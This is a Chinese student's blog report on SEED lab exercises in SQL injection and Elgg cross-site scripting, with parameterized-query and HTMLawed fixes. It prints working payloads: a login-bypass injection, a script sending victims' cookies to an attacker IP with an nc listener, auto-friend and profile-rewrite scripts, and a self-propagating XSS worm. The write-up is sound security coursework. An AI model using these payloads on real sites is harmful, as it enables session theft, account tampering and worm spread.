20242802 2024-2025-2 《网络攻防实践》实践第十周报告

20242802 2024-2025-2 《网络攻防实践》实践第十周报告

1.实践内容

一、SEED SQL注入攻击与防御实验

(一)熟悉SQL语句

通过操作名为Users的数据库中的creditential表,使用SQL查询语句来熟悉如何查询员工的个人信息(如eid、密码、薪水、ssn等),为后续的SQL注入攻击和防御实践奠定基础。

(二)对SELECT语句的SQL注入攻击

利用Web应用存在的SQL输入漏洞,在不知道密码的情况下,通过构造恶意的SQL注入语句,绕过正常登录流程,成功登录该Web应用程序,获取管理员或员工的登录权限。

(三)对UPDATE语句的SQL注入攻击

借助员工更新个人信息的界面,实施针对UPDATE语句的SQL注入攻击。通过精心构造的SQL注入语句,篡改数据库中员工的个人信息,如修改薪水、密码等,以达到非法修改数据的目的。

(四)SQL对抗

分析上述SQL注入攻击的原理和漏洞所在,采取相应的防御措施来修复这些SQL注入漏洞。可能的措施包括对用户输入进行严格的验证和过滤,避免将用户输入直接拼接到SQL语句中,改用参数化查询等,以增强Web应用程序的数据库安全性,防止SQL注入攻击再次发生。

二、SEED XSS跨站脚本攻击实验(Elgg)

(一)发布恶意消息,显示警报窗口

在Elgg配置文件中嵌入一个JavaScript程序,当其他用户查看该配置文件时,该JavaScript程序会被执行,从而弹出一个警报窗口,初步验证了XSS漏洞的存在和利用方式。

(二)弹窗显示cookie信息

进一步利用XSS漏洞,通过JavaScript程序获取并显示用户的cookie信息,展示了攻击者可以利用XSS攻击窃取用户敏感信息(如cookie)的可能性。

(三)窃取受害者的cookies

将获取到的受害者cookie信息发送给攻击者,模拟攻击者通过XSS攻击窃取用户身份认证信息的过程,为后续的攻击行为提供身份伪装的依据。

(四)成为受害者的朋友

利用JavaScript程序,在无需受害者干预的情况下,自动将攻击者添加为受害者的Elgg朋友。通过分析Elgg加好友的过程,编写相应的脚本代码,实现自动加好友操作,进一步扩大攻击者在Elgg平台上的影响力和攻击范围。

(五)修改受害者的信息

编写JavaScript程序,使得当受害者访问Alice的页面时,其个人资料在无需干预的情况下被自动修改。这进一步展示了XSS攻击对用户数据完整性的破坏性,攻击者可以利用XSS漏洞篡改用户信息,达到误导用户或实施其他恶意行为的目的。

(六)编写XSS蠕虫

基于上述XSS攻击手段,编写一个XSS蠕虫程序。该蠕虫能够在用户之间传播,当用户查看受感染用户的个人资料时,也会被感染,从而实现XSS攻击的自动化传播,模拟真实网络环境中XSS蠕虫的传播和危害过程。

(七)对抗XSS攻击

分析XSS攻击的原理和传播途径,采取有效的防御措施来对抗XSS攻击。可能的措施包括对用户输入进行严格的验证和过滤,避免将用户输入直接作为HTML代码渲染到页面上,使用内容安全策略(CSP)等,以增强Web应用程序的前端安全性,防止XSS攻击的发生和传播。

2.实践过程

(1)SEED SQL注入攻击与防御实验

先将ubuntu虚拟机主机名改为Ubuntu_yyj

打开Ubuntu apache2服务,启动Web服务器并检查其状态,确保Web应用程序可以正常访问:

sudo service apache2 start
sudo service apache2 status

因为虚拟机没有安装apache2,首先下载安装

这里因为原本的Ubuntu损坏我重装16.04版本并且更名为Ubuntu_yyj,使用root登录MySQL数据库:

mysql -u root -p
密码:seedubuntu

1.回顾SQL语句

切换到Users权限,并查看所有的数据表,显示有Tables_in_Users和credential两张表

use Users;
show tables;

分别查看这两张表里面有什么信息

select * from Tables_in_Users;
select * from credential;

输入几条SQL语句查询一下表中的内容:

select * from credential where Name = 'Alice';
select * from credential where ID=1;
select * from credential where ID <=3 ;

2.对SELECT语句的SQL注入攻击

在ubuntu主机自带的火狐浏览器访问网址:http://www.seedlabsqlinjection.com/

想要登录该网址,选择查看源码。输入以下命令查看unsafe_home.php的源代码

sudo vim /var/www/SQLInjection/unsafe_home.php

分析这个登录使用的select语句,目的是从credential表中检索与给定用户名($input_uname)和密码($hashed_pwd)匹配的记录。这里假设$input_uname$hashed_pwd是用户输入的值,它们被直接插入到SQL语句中。

’ 单引号是为了终止当前的SQL语句。#是将后续的SQL语句注释。在SQL语句运行至WHERE name= ‘Alice’时被终止,且不用输入后续密码。

Alice'#

顺利登录并对SELECT语句的SQL注入攻击成功!

3.对UPDATE语句的SQL注入攻击

登录之后点击Edit Profile,发现能修改的内容如下:

使用以下命令查看unsafe_edit_backend.php文件的源代码:

vim /var/www/SQLInjection/unsafe_edit_backend.php

进行SQL注入攻击,使用以下代码进行Alice的薪资改为我的学号20242802

使用UPDATE语句的SQL注入攻击实验成功!

4.SQL对抗

为了修复SQL注入漏洞,需要对PHP文件中的源代码进行修改。目前,代码中SQL语句的数据和命令没有被分开处理,而是混合在一起,这导致数据库无法区分用户输入的数据和SQL命令,从而引发SQL注入问题。为了解决这个问题,可以使用PHP的bind_param方法来绑定参数。这种方法通过使用问号(?)作为占位符,将用户输入的数据与SQL命令分离,从而防止恶意代码的注入

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 
	FROM credential 
	WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

再次登录时已经无法再登录上,说明成功。

把UPDATE语句的修复,同样使用bind_param方法,将参数与执行动作或条件分开修改:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

修改完成save后,一直是空白页面,没有反应。说明实验成功!!!

(2)SEED XSS跨站脚本攻击实验(Elgg)

1. 发布恶意消息,显示警报窗口

在ubuntu主机自带的火狐浏览器访问网址:http://www.xsslabelgg.com

登录密码为:seed+用户名,其中Admin的密码是seedelgg

使用Alice账户登陆后点击头像下面的Edit profile:

在Brief description输入以下XSS攻击代码,让系统给出警告信息。

<script> alert('xss');</script>

2.弹窗显示cookie信息

将cookie信息显示,将xss攻击内容改成以下内容

<script> alert(document.cookie);</script>

再次进入Alice主页,系统展示cookie信息如下:

3.窃取受害者的cookies

任务:将cookie发送给攻击者,先确定当前Ubuntu主机的IP为:192.168.200.16

将受害者Alice的cookie放入document.write,并发送给攻击者Boby,且端口号设置为了500。

<script>document.write('<img src=http://192.168.200.16:500?c='+escape(document.cookie) + ' >');</script>

命令监听端口500:

sudo nc -l 500 -v

访问Boby,且得到受害者Alice的cookies,实验成功!

4.成为受害者的朋友

使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

通过观察添加好友过程来分析,通过Alice添加Boby为好友的操作,同时打开F12打开浏览器的开发者工具

在network中工具栏中看到向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。申请的参数有:friend, __elgg_ts,以及__elgg_token

进入Alice的 About me 下并选择 Edit HTML 模式

构造xss攻击代码:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    //Construct the HTTP request to add Samy as a friend.
   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
   
    //Create and send Ajax request to add friend
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

注意这里要选择Edit HTML 模式!!然后再保存

登录一个别的账户,这里选择了Samy账户,一开始并没有任何一个好友

访问Alice的主页,就自动添加了Alice为好友。add friend变得 remove friend

Activity中也有添加好友的记录,实验成功!

5. 修改受害者的信息

构造修改信息xss攻击代码,并输入Alice中about me中edit HTML模式:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>hhh,20242825bhy is here!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

切换到Samy用户,访问Alice前主页为以下状态:

访问Alice后发现主页被修改

成功修改受害者主页,实验成功!!!

6. XSS蠕虫攻击

编写蠕虫代码如下:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20242825bhy is here!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }</script>

同样写入Alice的About me

切换到Boby用户,访问Alice前主页如下

访问Alice后主页被修改

7. 对抗XSS攻击

登录账号Admin管理员账户,密码seedelgg

点击Account并选择Administration选项进入管理员界面再点击Plugins进入设置界面:

点击Activate,将HTMLawed激活

切换为Samy用户访问Alice会发现无法进行主页修改

此时Samy用户主页也恢复XSS对抗成功!

3.学习中遇到的问题及解决

  • 问题1:用sql语句show tables查看所有的数据表失败

  • 问题1解决方案: sql语句没有分号

  • 问题2:ubuntu虚拟机无法粘贴复制本机内容,下载vmware-tools 但是由于vmware-tools版本无法与ubuntu16.04匹配会出现黑屏没有光标无法点击的问题

    尝试以下方法下载也无法解决

     sudo apt-get update
     sudo apt-get install open-vm-tools-desktop
     sudo reboot
    

  • 问题2解决方案:在Ubuntu虚拟机上使用火狐浏览器访问https://packages-prod.broadcom.com/tools/frozen/linux/linux.iso下载并安装成功解决

4.实践总结

本次实验是本学期耗时最久的一次,不仅因为实验内容的复杂性,还因为我在实验过程中遇到了一些技术难题。其中,最令人头疼的是Ubuntu虚拟机的配置问题。我尝试了多种方法来安装vmware-tools,但都因为版本不匹配而失败,导致虚拟机出现黑屏和无法点击的问题。为了解决这些问题,我不得不五次重装Ubuntu虚拟机,每次都是一次新的挑战和学习机会。在实验过程中,我深刻体会到了网络安全的重要性。通过实际操作,我不仅掌握了SQL注入和XSS攻击的技术细节,还学会了如何防御这些攻击。

参考资料

posted @ 2025-05-21 22:12  Anton_buer  阅读(121)  评论(0)    收藏  举报